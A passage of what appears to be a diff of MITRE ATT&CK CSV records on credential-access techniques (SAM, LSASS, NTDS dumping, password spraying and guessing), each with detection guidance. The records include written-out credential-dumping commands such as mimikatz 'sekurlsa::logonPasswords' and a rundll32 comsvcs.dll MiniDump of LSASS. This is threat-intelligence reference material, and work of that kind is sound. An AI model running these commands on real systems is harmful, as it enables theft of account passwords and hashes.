BackDoor Your Active Directory Forest. Retrieved February 3, 2015.', url='http://adsecurity.org/?p=1275')]",attack-pattern--edf91964-b26e-4b4a-9600-ccacd7d7df24,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='credential-access')]",2020-12-14 23:08:02.782000+00:00,NTDS,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,"['Ed Williams, Trustwave, SpiderLabs']","['File: File Access', 'Command: Command Execution']",,,,,"Monitor processes and command-line arguments for program execution that may be indicative of credential dumping, especially attempts to access or copy the NTDS.dit.",,,,,True,,,['Administrator'],['Windows'],,['Access to Domain Controller or backup'],,1.0 -2020-02-11 18:42:07.281000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may attempt to extract credential material from the Security Account Manager (SAM) database either through in-memory techniques or through the Windows Registry where the SAM database is stored. The SAM is a database file that contains local accounts for the host, typically those found with the net user command. Enumerating the SAM database requires SYSTEM level access. +","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'credential-access'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1003/003', 'external_id': 'T1003.003'}, {'source_name': 'Wikipedia Active Directory', 'description': 'Wikipedia. (2018, March 10). Active Directory. Retrieved April 11, 2018.', 'url': 'https://en.wikipedia.org/wiki/Active_Directory'}, {'source_name': 'Metcalf 2015', 'description': 'Metcalf, S. (2015, January 19). Attackers Can Now Use Mimikatz to Implant Skeleton Key on Domain Controllers & BackDoor Your Active Directory Forest. Retrieved February 3, 2015.', 'url': 'http://adsecurity.org/?p=1275'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Ed Williams, Trustwave, SpiderLabs']","['File: File Access', 'Command: Command Execution']",,"Monitor processes and command-line arguments for program execution that may be indicative of credential dumping, especially attempts to access or copy the NTDS.dit.",True,['Administrator'],['Windows'],1.0,,['Access to Domain Controller or backup'],,,,, +attack-pattern,attack-pattern--1644e709-12d2-41e5-a60f-3470991f5011,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-02-11T18:42:07.281Z,2020-03-25T15:17:30.640Z,Security Account Manager,"Adversaries may attempt to extract credential material from the Security Account Manager (SAM) database either through in-memory techniques or through the Windows Registry where the SAM database is stored. The SAM is a database file that contains local accounts for the host, typically those found with the net user command. Enumerating the SAM database requires SYSTEM level access. A number of tools can be used to retrieve the SAM file through in-memory techniques: @@ -1578,8 +1770,8 @@ Notes: * RID 500 account is the local, built-in administrator. * RID 501 is the guest account. * User accounts start with a RID of 1,000+. -","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1003/002', external_id='T1003.002'), ExternalReference(source_name='GitHub Creddump7', description='Flathers, R. (2018, February 19). creddump7. Retrieved April 11, 2018.', url='https://github.com/Neohapsis/creddump7')]",attack-pattern--1644e709-12d2-41e5-a60f-3470991f5011,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='credential-access')]",2020-03-25 15:17:30.640000+00:00,Security Account Manager,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,"['Ed Williams, Trustwave, SpiderLabs']","['Command: Command Execution', 'Windows Registry: Windows Registry Key Access', 'File: File Access']",,,,,Hash dumpers open the Security Accounts Manager (SAM) on the local file system (%SystemRoot%/system32/config/SAM) or create a dump of the Registry SAM key to access stored account password hashes. Some hash dumpers will open the local file system as a device and parse to the SAM table to avoid file access defenses. Others will make an in-memory copy of the SAM table before reading hashes. Detection of compromised [Valid Accounts](https://attack.mitre.org/techniques/T1078) in-use by adversaries may help as well.,,,,,True,,,['SYSTEM'],['Windows'],,,,1.0 -2020-02-11 18:41:44.783000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may attempt to access credential material stored in the process memory of the Local Security Authority Subsystem Service (LSASS). After a user logs on, the system generates and stores a variety of credential materials in LSASS process memory. These credential materials can be harvested by an administrative user or SYSTEM and used to conduct [Lateral Movement](https://attack.mitre.org/tactics/TA0008) using [Use Alternate Authentication Material](https://attack.mitre.org/techniques/T1550). +","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'credential-access'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1003/002', 'external_id': 'T1003.002'}, {'source_name': 'GitHub Creddump7', 'description': 'Flathers, R. (2018, February 19). creddump7. Retrieved April 11, 2018.', 'url': 'https://github.com/Neohapsis/creddump7'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Ed Williams, Trustwave, SpiderLabs']","['Command: Command Execution', 'Windows Registry: Windows Registry Key Access', 'File: File Access']",,Hash dumpers open the Security Accounts Manager (SAM) on the local file system (%SystemRoot%/system32/config/SAM) or create a dump of the Registry SAM key to access stored account password hashes. Some hash dumpers will open the local file system as a device and parse to the SAM table to avoid file access defenses. Others will make an in-memory copy of the SAM table before reading hashes. Detection of compromised [Valid Accounts](https://attack.mitre.org/techniques/T1078) in-use by adversaries may help as well.,True,['SYSTEM'],['Windows'],1.0,,,,,,, +attack-pattern,attack-pattern--65f2d882-3f41-4d48-8a06-29af77ec9f90,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-02-11T18:41:44.783Z,2021-10-15T19:55:01.368Z,LSASS Memory,"Adversaries may attempt to access credential material stored in the process memory of the Local Security Authority Subsystem Service (LSASS). After a user logs on, the system generates and stores a variety of credential materials in LSASS process memory. These credential materials can be harvested by an administrative user or SYSTEM and used to conduct [Lateral Movement](https://attack.mitre.org/tactics/TA0008) using [Use Alternate Authentication Material](https://attack.mitre.org/techniques/T1550). As well as in-memory techniques, the LSASS process memory can be dumped from the target host and analyzed on a local system. @@ -1592,6 +1784,10 @@ Locally, mimikatz can be run using: * sekurlsa::Minidump lsassdump.dmp * sekurlsa::logonPasswords +Built-in Windows tools such as comsvcs.dll can also be used: + +* rundll32.exe C:\Windows\System32\comsvcs.dll MiniDump PID lsass.dmp full(Citation: Volexity Exchange Marauder March 2021)(Citation: Symantec Attacks Against Government Sector) + Windows Security Support Provider (SSP) DLLs are loaded into LSSAS process at system start. Once loaded into the LSA, SSP DLLs have access to encrypted and plaintext passwords that are stored in Windows, such as any logged-on user's Domain password or smart card PINs. The SSP configuration is stored in two Registry keys: HKLM\SYSTEM\CurrentControlSet\Control\Lsa\Security Packages and HKLM\SYSTEM\CurrentControlSet\Control\Lsa\OSConfig\Security Packages. An adversary may modify these Registry keys to add new SSPs, which will be loaded the next time the system boots, or when the AddSecurityPackage Windows API function is called.(Citation: Graeber 2014) @@ -1601,12 +1797,12 @@ The following SSPs can be used to access credentials: * Wdigest: The Digest Authentication protocol is designed for use with Hypertext Transfer Protocol (HTTP) and Simple Authentication Security Layer (SASL) exchanges.(Citation: TechNet Blogs Credential Protection) * Kerberos: Preferred for mutual client-server domain authentication in Windows 2000 and later. * CredSSP: Provides SSO and Network Level Authentication for Remote Desktop Services.(Citation: TechNet Blogs Credential Protection) -","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1003/001', external_id='T1003.001'), ExternalReference(source_name='Graeber 2014', description='Graeber, M. (2014, October). Analysis of Malicious Security Support Provider DLLs. Retrieved March 1, 2017.', url='http://docplayer.net/20839173-Analysis-of-malicious-security-support-provider-dlls.html'), ExternalReference(source_name='TechNet Blogs Credential Protection', description='Wilson, B. (2016, April 18). The Importance of KB2871997 and KB2928120 for Credential Protection. Retrieved April 11, 2018.', url='https://blogs.technet.microsoft.com/askpfeplat/2016/04/18/the-importance-of-kb2871997-and-kb2928120-for-credential-protection/'), ExternalReference(source_name='Medium Detecting Attempts to Steal Passwords from Memory', description='French, D. (2018, October 2). Detecting Attempts to Steal Passwords from Memory. Retrieved October 11, 2019.', url='https://medium.com/threatpunter/detecting-attempts-to-steal-passwords-from-memory-558f16dce4ea'), ExternalReference(source_name='Powersploit', description='PowerSploit. (n.d.). Retrieved December 4, 2014.', url='https://github.com/mattifestation/PowerSploit')]",attack-pattern--65f2d882-3f41-4d48-8a06-29af77ec9f90,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='credential-access')]",2020-06-09 20:46:00.393000+00:00,LSASS Memory,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,"['Ed Williams, Trustwave, SpiderLabs']","['Process: Process Creation', 'Process: Process Access', 'Command: Command Execution', 'Process: OS API Execution']",,,,,"Monitor for unexpected processes interacting with LSASS.exe.(Citation: Medium Detecting Attempts to Steal Passwords from Memory) Common credential dumpers such as Mimikatz access LSASS.exe by opening the process, locating the LSA secrets key, and decrypting the sections in memory where credential details are stored. Credential dumpers may also use methods for reflective [Process Injection](https://attack.mitre.org/techniques/T1055) to reduce potential indicators of malicious activity. +","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'credential-access'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1003/001', 'external_id': 'T1003.001'}, {'source_name': 'Volexity Exchange Marauder March 2021', 'description': 'Gruzweig, J. et al. (2021, March 2). Operation Exchange Marauder: Active Exploitation of Multiple Zero-Day Microsoft Exchange Vulnerabilities. Retrieved March 3, 2021.', 'url': 'https://www.volexity.com/blog/2021/03/02/active-exploitation-of-microsoft-exchange-zero-day-vulnerabilities/'}, {'source_name': 'Symantec Attacks Against Government Sector', 'description': 'Symantec. (2021, June 10). Attacks Against the Government Sector. Retrieved September 28, 2021.', 'url': 'https://symantec.broadcom.com/hubfs/Attacks-Against-Government-Sector.pdf'}, {'source_name': 'Graeber 2014', 'description': 'Graeber, M. (2014, October). Analysis of Malicious Security Support Provider DLLs. Retrieved March 1, 2017.', 'url': 'http://docplayer.net/20839173-Analysis-of-malicious-security-support-provider-dlls.html'}, {'source_name': 'TechNet Blogs Credential Protection', 'description': 'Wilson, B. (2016, April 18). The Importance of KB2871997 and KB2928120 for Credential Protection. Retrieved April 11, 2018.', 'url': 'https://blogs.technet.microsoft.com/askpfeplat/2016/04/18/the-importance-of-kb2871997-and-kb2928120-for-credential-protection/'}, {'source_name': 'Medium Detecting Attempts to Steal Passwords from Memory', 'description': 'French, D. (2018, October 2). Detecting Attempts to Steal Passwords from Memory. Retrieved October 11, 2019.', 'url': 'https://medium.com/threatpunter/detecting-attempts-to-steal-passwords-from-memory-558f16dce4ea'}, {'source_name': 'Powersploit', 'description': 'PowerSploit. (n.d.). Retrieved December 4, 2014.', 'url': 'https://github.com/mattifestation/PowerSploit'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Edward Millington', 'Ed Williams, Trustwave, SpiderLabs']","['Process: Process Creation', 'Process: Process Access', 'Command: Command Execution', 'Process: OS API Execution']",,"Monitor for unexpected processes interacting with LSASS.exe.(Citation: Medium Detecting Attempts to Steal Passwords from Memory) Common credential dumpers such as Mimikatz access LSASS.exe by opening the process, locating the LSA secrets key, and decrypting the sections in memory where credential details are stored. Credential dumpers may also use methods for reflective [Process Injection](https://attack.mitre.org/techniques/T1055) to reduce potential indicators of malicious activity. On Windows 8.1 and Windows Server 2012 R2, monitor Windows Logs for LSASS.exe creation to verify that LSASS started as a protected process. -Monitor processes and command-line arguments for program execution that may be indicative of credential dumping. Remote access tools may contain built-in features or incorporate existing tools like Mimikatz. PowerShell scripts also exist that contain credential dumping functionality, such as PowerSploit's Invoke-Mimikatz module,(Citation: Powersploit) which may require additional logging features to be configured in the operating system to collect necessary information for analysis.",,,,,True,,,"['Administrator', 'SYSTEM']",['Windows'],,,,1.0 -2020-02-11 18:39:59.959000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may use credentials obtained from breach dumps of unrelated accounts to gain access to target accounts through credential overlap. Occasionally, large numbers of username and password pairs are dumped online when a website or service is compromised and the user account credentials accessed. The information may be useful to an adversary attempting to compromise accounts by taking advantage of the tendency for users to use the same passwords across personal and business accounts. +Monitor processes and command-line arguments for program execution that may be indicative of credential dumping. Remote access tools may contain built-in features or incorporate existing tools like Mimikatz. PowerShell scripts also exist that contain credential dumping functionality, such as PowerSploit's Invoke-Mimikatz module,(Citation: Powersploit) which may require additional logging features to be configured in the operating system to collect necessary information for analysis.",True,"['Administrator', 'SYSTEM']",['Windows'],1.1,,,,,,, +attack-pattern,attack-pattern--b2d03cea-aec1-45ca-9744-9ee583c1e1cc,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-02-11T18:39:59.959Z,2021-04-06T12:31:06.695Z,Credential Stuffing,"Adversaries may use credentials obtained from breach dumps of unrelated accounts to gain access to target accounts through credential overlap. Occasionally, large numbers of username and password pairs are dumped online when a website or service is compromised and the user account credentials accessed. The information may be useful to an adversary attempting to compromise accounts by taking advantage of the tendency for users to use the same passwords across personal and business accounts. Credential stuffing is a risky option because it could cause numerous authentication failures and account lockouts, depending on the organization's login failure policies. @@ -1625,8 +1821,8 @@ Typically, management services over commonly used ports are used when stuffing c * MySQL (3306/TCP) * VNC (5900/TCP) -In addition to management services, adversaries may ""target single sign-on (SSO) and cloud-based applications utilizing federated authentication protocols,"" as well as externally facing email applications, such as Office 365.(Citation: US-CERT TA18-068A 2018)","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1110/004', external_id='T1110.004'), ExternalReference(source_name='capec', url='https://capec.mitre.org/data/definitions/600.html', external_id='CAPEC-600'), ExternalReference(source_name='US-CERT TA18-068A 2018', description='US-CERT. (2018, March 27). TA18-068A Brute Force Attacks Conducted by Cyber Actors. Retrieved October 2, 2019.', url='https://www.us-cert.gov/ncas/alerts/TA18-086A')]",attack-pattern--b2d03cea-aec1-45ca-9744-9ee583c1e1cc,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='credential-access')]",2021-04-06 12:31:06.695000+00:00,Credential Stuffing,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,"['Diogo Fernandes', 'Anastasios Pingios']","['User Account: User Account Authentication', 'Application Log: Application Log Content']",,,,,"Monitor authentication logs for system and application login failures of [Valid Accounts](https://attack.mitre.org/techniques/T1078). If authentication failures are high, then there may be a brute force attempt to gain access to a system using legitimate credentials.",,,,,True,,,['User'],"['Windows', 'Azure AD', 'Office 365', 'SaaS', 'IaaS', 'Linux', 'macOS', 'Google Workspace', 'Containers']",,,,1.2 -2020-02-11 18:39:25.122000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may use a single or small list of commonly used passwords against many different accounts to attempt to acquire valid account credentials. Password spraying uses one password (e.g. 'Password01'), or a small list of commonly used passwords, that may match the complexity policy of the domain. Logins are attempted with that password against many different accounts on a network to avoid account lockouts that would normally occur when brute forcing a single account with many passwords. (Citation: BlackHillsInfosec Password Spraying) +In addition to management services, adversaries may ""target single sign-on (SSO) and cloud-based applications utilizing federated authentication protocols,"" as well as externally facing email applications, such as Office 365.(Citation: US-CERT TA18-068A 2018)","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'credential-access'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1110/004', 'external_id': 'T1110.004'}, {'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/600.html', 'external_id': 'CAPEC-600'}, {'source_name': 'US-CERT TA18-068A 2018', 'description': 'US-CERT. (2018, March 27). TA18-068A Brute Force Attacks Conducted by Cyber Actors. Retrieved October 2, 2019.', 'url': 'https://www.us-cert.gov/ncas/alerts/TA18-086A'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Diogo Fernandes', 'Anastasios Pingios']","['User Account: User Account Authentication', 'Application Log: Application Log Content']",,"Monitor authentication logs for system and application login failures of [Valid Accounts](https://attack.mitre.org/techniques/T1078). If authentication failures are high, then there may be a brute force attempt to gain access to a system using legitimate credentials.",True,['User'],"['Windows', 'Azure AD', 'Office 365', 'SaaS', 'IaaS', 'Linux', 'macOS', 'Google Workspace', 'Containers']",1.2,,,,,,, +attack-pattern,attack-pattern--692074ae-bb62-4a5e-a735-02cb6bde458c,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-02-11T18:39:25.122Z,2021-04-06T12:32:47.678Z,Password Spraying,"Adversaries may use a single or small list of commonly used passwords against many different accounts to attempt to acquire valid account credentials. Password spraying uses one password (e.g. 'Password01'), or a small list of commonly used passwords, that may match the complexity policy of the domain. Logins are attempted with that password against many different accounts on a network to avoid account lockouts that would normally occur when brute forcing a single account with many passwords. (Citation: BlackHillsInfosec Password Spraying) Typically, management services over commonly used ports are used when password spraying. Commonly targeted services include the following: @@ -1645,15 +1841,15 @@ Typically, management services over commonly used ports are used when password s In addition to management services, adversaries may ""target single sign-on (SSO) and cloud-based applications utilizing federated authentication protocols,"" as well as externally facing email applications, such as Office 365.(Citation: US-CERT TA18-068A 2018) -In default environments, LDAP and Kerberos connection attempts are less likely to trigger events over SMB, which creates Windows ""logon failure"" event ID 4625.","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1110/003', external_id='T1110.003'), ExternalReference(source_name='capec', url='https://capec.mitre.org/data/definitions/565.html', external_id='CAPEC-565'), ExternalReference(source_name='BlackHillsInfosec Password Spraying', description='Thyer, J. (2015, October 30). Password Spraying & Other Fun with RPCCLIENT. Retrieved April 25, 2017.', url='http://www.blackhillsinfosec.com/?p=4645'), ExternalReference(source_name='US-CERT TA18-068A 2018', description='US-CERT. (2018, March 27). TA18-068A Brute Force Attacks Conducted by Cyber Actors. Retrieved October 2, 2019.', url='https://www.us-cert.gov/ncas/alerts/TA18-086A'), ExternalReference(source_name='Trimarc Detecting Password Spraying', description='Metcalf, S. (2018, May 6). Trimarc Research: Detecting Password Spraying with Security Event Auditing. Retrieved January 16, 2019.', url='https://www.trimarcsecurity.com/single-post/2018/05/06/Trimarc-Research-Detecting-Password-Spraying-with-Security-Event-Auditing')]",attack-pattern--692074ae-bb62-4a5e-a735-02cb6bde458c,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='credential-access')]",2021-04-06 12:32:47.678000+00:00,Password Spraying,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,"['Microsoft Threat Intelligence Center (MSTIC)', 'John Strand']","['User Account: User Account Authentication', 'Application Log: Application Log Content']",,,,,"Monitor authentication logs for system and application login failures of [Valid Accounts](https://attack.mitre.org/techniques/T1078). Specifically, monitor for many failed authentication attempts across various accounts that may result from password spraying attempts. +In default environments, LDAP and Kerberos connection attempts are less likely to trigger events over SMB, which creates Windows ""logon failure"" event ID 4625.","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'credential-access'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1110/003', 'external_id': 'T1110.003'}, {'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/565.html', 'external_id': 'CAPEC-565'}, {'source_name': 'BlackHillsInfosec Password Spraying', 'description': 'Thyer, J. (2015, October 30). Password Spraying & Other Fun with RPCCLIENT. Retrieved April 25, 2017.', 'url': 'http://www.blackhillsinfosec.com/?p=4645'}, {'source_name': 'US-CERT TA18-068A 2018', 'description': 'US-CERT. (2018, March 27). TA18-068A Brute Force Attacks Conducted by Cyber Actors. Retrieved October 2, 2019.', 'url': 'https://www.us-cert.gov/ncas/alerts/TA18-086A'}, {'source_name': 'Trimarc Detecting Password Spraying', 'description': 'Metcalf, S. (2018, May 6). Trimarc Research: Detecting Password Spraying with Security Event Auditing. Retrieved January 16, 2019.', 'url': 'https://www.trimarcsecurity.com/single-post/2018/05/06/Trimarc-Research-Detecting-Password-Spraying-with-Security-Event-Auditing'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Microsoft Threat Intelligence Center (MSTIC)', 'John Strand']","['User Account: User Account Authentication', 'Application Log: Application Log Content']",,"Monitor authentication logs for system and application login failures of [Valid Accounts](https://attack.mitre.org/techniques/T1078). Specifically, monitor for many failed authentication attempts across various accounts that may result from password spraying attempts. Consider the following event IDs:(Citation: Trimarc Detecting Password Spraying) * Domain Controllers: ""Audit Logon"" (Success & Failure) for event ID 4625. * Domain Controllers: ""Audit Kerberos Authentication Service"" (Success & Failure) for event ID 4771. -* All systems: ""Audit Logon"" (Success & Failure) for event ID 4648.",,,,,True,,,['User'],"['Windows', 'Azure AD', 'Office 365', 'SaaS', 'IaaS', 'Linux', 'macOS', 'Google Workspace', 'Containers']",,,,1.2 -2020-02-11 18:38:56.197000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may use password cracking to attempt to recover usable credentials, such as plaintext passwords, when credential material such as password hashes are obtained. [OS Credential Dumping](https://attack.mitre.org/techniques/T1003) is used to obtain password hashes, this may only get an adversary so far when [Pass the Hash](https://attack.mitre.org/techniques/T1550/002) is not an option. Techniques to systematically guess the passwords used to compute hashes are available, or the adversary may use a pre-computed rainbow table to crack hashes. Cracking hashes is usually done on adversary-controlled systems outside of the target network.(Citation: Wikipedia Password cracking) The resulting plaintext password resulting from a successfully cracked hash may be used to log into systems, resources, and services in which the account has access.","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1110/002', external_id='T1110.002'), ExternalReference(source_name='capec', url='https://capec.mitre.org/data/definitions/55.html', external_id='CAPEC-55'), ExternalReference(source_name='Wikipedia Password cracking', description='Wikipedia. (n.d.). Password cracking. Retrieved December 23, 2015.', url='https://en.wikipedia.org/wiki/Password_cracking')]",attack-pattern--1d24cdee-9ea2-4189-b08e-af110bf2435d,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='credential-access')]",2020-09-16 15:39:59.041000+00:00,Password Cracking,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,"['User Account: User Account Authentication', 'Application Log: Application Log Content']",,,,,"It is difficult to detect when hashes are cracked, since this is generally done outside the scope of the target network. Consider focusing efforts on detecting other adversary behavior used to acquire credential materials, such as [OS Credential Dumping](https://attack.mitre.org/techniques/T1003) or [Kerberoasting](https://attack.mitre.org/techniques/T1558/003).",,,,,True,,,['User'],"['Linux', 'macOS', 'Windows', 'Office 365', 'Azure AD']",,,,1.1 -2020-02-11 18:38:22.617000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries with no prior knowledge of legitimate credentials within the system or environment may guess passwords to attempt access to accounts. Without knowledge of the password for an account, an adversary may opt to systematically guess the password using a repetitive or iterative mechanism. An adversary may guess login credentials without prior knowledge of system or environment passwords during an operation by using a list of common passwords. Password guessing may or may not take into account the target's policies on password complexity or use policies that may lock accounts out after a number of failed attempts. +* All systems: ""Audit Logon"" (Success & Failure) for event ID 4648.",True,['User'],"['Windows', 'Azure AD', 'Office 365', 'SaaS', 'IaaS', 'Linux', 'macOS', 'Google Workspace', 'Containers']",1.2,,,,,,, +attack-pattern,attack-pattern--1d24cdee-9ea2-4189-b08e-af110bf2435d,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-02-11T18:38:56.197Z,2020-09-16T15:39:59.041Z,Password Cracking,"Adversaries may use password cracking to attempt to recover usable credentials, such as plaintext passwords, when credential material such as password hashes are obtained. [OS Credential Dumping](https://attack.mitre.org/techniques/T1003) is used to obtain password hashes, this may only get an adversary so far when [Pass the Hash](https://attack.mitre.org/techniques/T1550/002) is not an option. Techniques to systematically guess the passwords used to compute hashes are available, or the adversary may use a pre-computed rainbow table to crack hashes. Cracking hashes is usually done on adversary-controlled systems outside of the target network.(Citation: Wikipedia Password cracking) The resulting plaintext password resulting from a successfully cracked hash may be used to log into systems, resources, and services in which the account has access.","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'credential-access'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1110/002', 'external_id': 'T1110.002'}, {'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/55.html', 'external_id': 'CAPEC-55'}, {'source_name': 'Wikipedia Password cracking', 'description': 'Wikipedia. (n.d.). Password cracking. Retrieved December 23, 2015.', 'url': 'https://en.wikipedia.org/wiki/Password_cracking'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['User Account: User Account Authentication', 'Application Log: Application Log Content']",,"It is difficult to detect when hashes are cracked, since this is generally done outside the scope of the target network. Consider focusing efforts on detecting other adversary behavior used to acquire credential materials, such as [OS Credential Dumping](https://attack.mitre.org/techniques/T1003) or [Kerberoasting](https://attack.mitre.org/techniques/T1558/003).",True,['User'],"['Linux', 'macOS', 'Windows', 'Office 365', 'Azure AD']",1.1,,,,,,, +attack-pattern,attack-pattern--09c4c11e-4fa1-4f8c-8dad-3cf8e69ad119,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-02-11T18:38:22.617Z,2021-04-21T16:41:35.269Z,Password Guessing,"Adversaries with no prior knowledge of legitimate credentials within the system or environment may guess passwords to attempt access to accounts. Without knowledge of the password for an account, an adversary may opt to systematically guess the password using a repetitive or iterative mechanism. An adversary may guess login credentials without prior knowledge of system or environment passwords during an operation by using a list of common passwords. Password guessing may or may not take into account the target's policies on password complexity or use policies that may lock accounts out after a number of failed attempts. Guessing passwords can be a risky option because it could cause numerous authentication failures and account lockouts, depending on the organization's login failure policies. (Citation: Cylance Cleaver) @@ -1674,63 +1870,73 @@ Typically, management services over commonly used ports are used when guessing p In addition to management services, adversaries may ""target single sign-on (SSO) and cloud-based applications utilizing federated authentication protocols,"" as well as externally facing email applications, such as Office 365.(Citation: US-CERT TA18-068A 2018) -In default environments, LDAP and Kerberos connection attempts are less likely to trigger events over SMB, which creates Windows ""logon failure"" event ID 4625.","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1110/001', external_id='T1110.001'), ExternalReference(source_name='capec', url='https://capec.mitre.org/data/definitions/49.html', external_id='CAPEC-49'), ExternalReference(source_name='Cylance Cleaver', description='Cylance. (2014, December). Operation Cleaver. Retrieved September 14, 2017.', url='https://web.archive.org/web/20200302085133/https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance_Operation_Cleaver_Report.pdf'), ExternalReference(source_name='US-CERT TA18-068A 2018', description='US-CERT. (2018, March 27). TA18-068A Brute Force Attacks Conducted by Cyber Actors. Retrieved October 2, 2019.', url='https://www.us-cert.gov/ncas/alerts/TA18-086A')]",attack-pattern--09c4c11e-4fa1-4f8c-8dad-3cf8e69ad119,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='credential-access')]",2021-04-21 16:41:35.269000+00:00,Password Guessing,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,['Microsoft Threat Intelligence Center (MSTIC)'],"['User Account: User Account Authentication', 'Application Log: Application Log Content']",,,,,"Monitor authentication logs for system and application login failures of [Valid Accounts](https://attack.mitre.org/techniques/T1078). If authentication failures are high, then there may be a brute force attempt to gain access to a system using legitimate credentials.",,,,,True,,,['User'],"['Windows', 'Azure AD', 'Office 365', 'SaaS', 'IaaS', 'Linux', 'macOS', 'Google Workspace', 'Containers']",,,,1.2 -2020-02-11 18:29:47.757000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to interact with remote systems using Windows Remote Management (WinRM). The adversary may then perform actions as the logged-on user. +In default environments, LDAP and Kerberos connection attempts are less likely to trigger events over SMB, which creates Windows ""logon failure"" event ID 4625.","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'credential-access'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1110/001', 'external_id': 'T1110.001'}, {'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/49.html', 'external_id': 'CAPEC-49'}, {'source_name': 'Cylance Cleaver', 'description': 'Cylance. (2014, December). Operation Cleaver. Retrieved September 14, 2017.', 'url': 'https://web.archive.org/web/20200302085133/https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance_Operation_Cleaver_Report.pdf'}, {'source_name': 'US-CERT TA18-068A 2018', 'description': 'US-CERT. (2018, March 27). TA18-068A Brute Force Attacks Conducted by Cyber Actors. Retrieved October 2, 2019.', 'url': 'https://www.us-cert.gov/ncas/alerts/TA18-086A'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],['Microsoft Threat Intelligence Center (MSTIC)'],"['User Account: User Account Authentication', 'Application Log: Application Log Content']",,"Monitor authentication logs for system and application login failures of [Valid Accounts](https://attack.mitre.org/techniques/T1078). If authentication failures are high, then there may be a brute force attempt to gain access to a system using legitimate credentials.",True,['User'],"['Windows', 'Azure AD', 'Office 365', 'SaaS', 'IaaS', 'Linux', 'macOS', 'Google Workspace', 'Containers']",1.2,,,,,,, +attack-pattern,attack-pattern--60d0c01d-e2bf-49dd-a453-f8a9c9fa6f65,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-02-11T18:29:47.757Z,2021-06-23T19:22:52.870Z,Windows Remote Management,"Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to interact with remote systems using Windows Remote Management (WinRM). The adversary may then perform actions as the logged-on user. + +WinRM is the name of both a Windows service and a protocol that allows a user to interact with a remote system (e.g., run an executable, modify the Registry, modify services).(Citation: Microsoft WinRM) It may be called with the `winrm` command or by any number of programs such as PowerShell.(Citation: Jacobsen 2014) WinRM can be used as a method of remotely interacting with [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047).(Citation: MSDN WMI)","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'lateral-movement'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1021/006', 'external_id': 'T1021.006'}, {'source_name': 'Microsoft WinRM', 'description': 'Microsoft. (n.d.). Windows Remote Management. Retrieved November 